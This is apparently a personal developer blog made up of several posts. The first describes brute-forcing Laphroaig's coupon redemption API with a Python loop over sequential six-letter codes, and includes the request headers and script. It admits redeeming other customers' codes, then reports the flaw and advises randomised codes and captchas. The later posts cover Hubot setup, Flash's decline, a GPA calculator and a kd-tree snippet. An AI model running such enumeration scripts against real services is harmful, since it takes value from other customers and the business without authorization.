Hacking Whisky

I got a lovely bottle of Laphroaig single malt whisky for Christmas last year. The box included a coupon code that can be redeemed for points to spend in Laphroaig’s online shop. Great! I logged in to http://laphroaig.com and entered the details found on the included leaflet.

Laphroaig Leaflet

Entering the code into the website raised a couple immediate concerns.

  1. The code is 6 upper case letters with no numbers or punctuation.
  2. No captcha was requested.

Given that there is only ~300 million possibilities (assuming combination), I decided to write a quick python script in an attempt to determine how the website was preventing points from being programatically consumed.

I copied the redemption API request headers and used those to write a simple python script.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.laphroaig.com
Connection: keep-alive
Content-Length: 127
Accept: application/json, text/javascript, */*; q=0.01
Origin: https://www.laphroaig.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://www.laphroaig.com/redeem-points/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: _ga=XXXXXXXXXXXXXXX

The script iterates sequentially over the upper case alphabet domain (e.g., AAAAAA, AAAAAB, AAAAAC … etc) and makes an API request to attempt to redeem a code for each possibility.

...

for item in itertools.product(alphabet, repeat=6):
    urn = ''.join(item)
    print >> f, '... testing urn: ' + urn

    data['urn'] = urn

    r = requests.post('https://www.laphroaig.com/wp-admin/admin-ajax.php', data=data, headers=headers)

    json = r.json()

    if not json['error']:
        print >> f, '> found code: ' + urn

I thought this must be harmless enough. The API must do some rate limiting or something else to prevent this attack. Having written the script, I started it running and went and prepared a cup of tea before checking back on the progress. After getting back to my mac book 3 minutes later, I discovered the following output (truncated).

... testing urn: AAAAAA
... testing urn: AAAAAB
... testing urn: AAAAAC

...

... testing urn: AAAABA
... testing urn: AAAABB
> VALID CODE: AAAABB
... testing urn: AAAABC
> VALID CODE: AAAABC
... testing urn: AAAABD
> VALID CODE: AAAABD
... testing urn: AAAABE
> VALID CODE: AAAABE
... testing urn: AAAABF

** face palm **

I had successfully redeemed a number of codes. The first code being AAAABB and subsequent codes being in the same sequence.

In fact, in 3 minutes I had redeemed over £100 worth of points. Not only was the search space small (~300 million), but the allocation of the printed coupon codes was done sequentially! The API had no apparent throttling, bot checks or anything to prevent someone from walking the entire code domain and redeeming each value.

I stopped the script and looked at the damage. I had,

  • Redeemed 100’s of codes (probably) already printed and inside whisky boxes in retailers.
  •  Given myself enough store credits to purchase well over £100 worth of products from Laphroaig’s online store.

Being a white hat, I reached out to Laphroaig support by email, twitter and messenger. I wanted them to revoke the codes that I redeemed and fix the issue by introducing a captcha to protect against bots.

I received no response by email or twitter. I eventually received a response from messenger but the response was scripted and did not follow up on the problem in any way.

Support screenshot

So for those of you that have purchased a bottle of whisky and was not able to redeem the code included with the bottle… Apologies if I was the cause!! Please try reach out to Laphroaig to see if you are able to get a better response.

For fellow developers out there – do not make the same mistake. When designing an app that requires coupon system be sure to consider the following:

  • Randomly allocate codes in the key space (without replacement).
  • Ensure that the key space size is large.
  • Use a captcha or similar to restrict automated redemption checks.

Installing Hubot on Mac OS X Lion 10.7

Github has just released Hubot to the public (Say Hello to Hubot).

What is Hubot?

I have installed it on my MBP running Max OS X 10.7.2

Instructions:

  • Set Redis to run on startup. Run the following commands from terminal.
    mkdir -p ~/Library/LaunchAgents
    cp /usr/local/Cellar/redis/2.2.12/io.redis.redis-server.plist ~/Library/LaunchAgents/
    launchctl load -w ~/Library/LaunchAgents/io.redis.redis-server.plist

Example usage:

Result in browser:

RIP Flash

This topic has been blogged about lots and lots but I thought I would mix a little university background in there.

It is now (and has been for sometime) possible to completely ignore flash and instead use native web browser technologies. Sure there are a couple exceptions with the more advanced features for flash but I am sure by the end of 2012 flash will be gone – completely.

Is this sad? Kind of.

I learned flash relatively recently at university (2008). Yes that is right. I took a paper that taught adobe flash and action script 3 less than four years ago. The same paper has since shifted its focus more onto web design.
The sad part is that these skills are now useless. That is the way practical computer science works though right? You learn something and then keep on adapting and updating as new technologies emerge.

Am I happy? Very!

Flash was cool. It worked, and you could make cool visualisations, animations and applications. But why! Why do we need this extra tool grafted onto something that is purely capable of handling this itself? Well we no longer do. HTML5 is here and in its pure and native form it can handle rich and interactive web applications.

We still see some people (from adobe) sticking up for their software but the fact of the matter is that with the existence of tools now to convert flash files to pure HTML5. Tools like swifty by google and intelligent and bold moves by apple to cut support for flash on their mobile devices WILL spell the end of flash.

RIP Flash. You had your time.

(Yes I used Photoshop to make this image :-P)

Waikato University GPA calculator

Grade Point Average (GPA) Calculator:

I wanted to calculate my current grade point average (GPA) to see if I am on track to get a first class honours at Waikato University.

A quick google search did not show any results for a tool that exists publicly on the Waikato Uni’s website.

I decided to quickly code up one in javascript (mostly for procrastination reasons). I will make it available here for current and future students to benefit from. I did my best at getting the parameters right, but do not guarantee it is accurate or that I got these right! If you know it to be calculated any differently then let me know and I will update it.

The tool simply sums the products of each papers points by its grade value and then divides by the sum of all of the points (120 points in a standard full time course).

For Each Row
{ sum += row.points * grade value }

GPA = sum / TotalPoints

This is based off what I found on this Otago University’s page. It is adjusted to suit Waikato Uni’s grade system which gains an A+ for 85% opposed to Otago’s 90% (found here).

You can view the source code here.

And so no one tries to claim that their GPA has been calculated incorrectly:

Disclaimer: This tool will produce an estimate of a grade point average only. The parameters used to produce the GPA have not been verified and are not official. This tool is produced by me and is in no way affiliated with Waikato University. I take no responsibility for the results of using the output of this tool!

Kd-tree in Javascript

I needed to get my head around how kd-trees work, so I coded up a simple implementation that just builds a tree. Naturally, add, delete, balancing etc methods would be required.

See wikipedia: kd-tree

    /*
     * Builds a kd-tree given an array of points
     */
    var kdtree = function(points, depth) {
        var axis, median, node = {};

        if (!points || points.length == 0) return;

        // alternate between the axis
        axis = depth % points[0].length;

        // sort point array
        points.sort(function(a, b) {
            if (a[axis] < b[axis]) return -1;
            else if (a[axis] > b[axis]) return 1;
            else return 0;
        }); 

        median = Math.floor(points.length / 2);

        // build and return node
        node.location = points[median];
        node.left = kdtree(
            points.slice(0, median), depth + 1);
        node.right = kdtree(
            points.slice(median + 1), depth + 1);
        return node;
    }

Example usage would be:

var points = [ [2,3], [5,4], [4,7], [8,1], [7,2], [9,6] ];
kdtree(points, 0);